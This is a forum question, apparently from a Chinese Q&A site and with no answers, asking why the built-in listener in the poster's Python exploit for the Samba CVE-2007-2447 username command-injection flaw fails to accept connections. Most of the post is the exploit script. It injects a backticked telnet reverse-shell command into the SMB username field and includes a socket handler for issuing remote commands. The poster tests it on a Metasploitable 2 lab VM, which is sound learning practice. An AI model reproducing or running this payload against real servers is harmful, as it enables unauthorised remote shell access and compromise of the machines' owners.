Question

最近，我一直在为CVE2007-2447创建Metasploit模块的Python实现，我在网上找到了一个基本脚本，我花了一些时间然后决定将侦听器构建到脚本中，以便不必将Netcat与Python脚本一起运行。

import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
    print("[+] " + rHost, rPort, lHost, lPort)
    payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
    username = "/=`nohup " + payload + "`"
    password = ""

    print("[+] " + username + password)

    s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
    #try:
    s.connect(rHost, int(rPort), timeout=1)
    print("[+] Payload sent!")
    handler(shell)
    #except Exception as e:
    #    print(e)
    #    print("[*] Fail!") 

def handler(shell):
    (conn, address) = shell.accept()
    print("[+] Connected to " + address)
    commandSender(conn)
    conn.close()

def commandSender(conn):
    shell_status = True

    shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
    shell_recv_thread.start()

    command = ''
    while shell_status == True:
        command = input()
        if command == "exit":
            shell_status = False
            conn.close()
            shell_recv_thread.join()
            sys.exit(0)
        conn.send(bytes(command + "\n", "utf-8"))

def recvStream(conn, addr, status):
    status = True

    while status == True:
        try:
            print(conn.recv(1024))
        except conn.timeout:
            pass
        except Exception as e:
            print(e)
            print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
    print("[*] CVE2007-2447")
    if len(sys.argv) != 5:
        print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Exectuting...")

        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.bind((sys.argv[3], int(sys.argv[4])))
        shell.listen(10)

        rHost = sys.argv[1]
        rPort = sys.argv[2]
        lHost = sys.argv[3]
        lPort = sys.argv[4]

        exploit(rHost, rPort, lHost, lPort)

您可以看到，此漏洞利用的脚本非常简单，由于用户输入未经过滤，攻击者可以在用户名字段中将命令发送到受影响的设备。我在运行脚本时检查了Netstat，我可以看到我的机器确实在监听我为lPort指定的端口，但是由于某些原因，套接字似乎无法接受连接。为了测试代码，我在Metasploitable 2的Ubuntu VM内运行它，该虚拟机在同一子网的单独VM中运行。

Python-套接字似乎无法接受连接

0 个答案: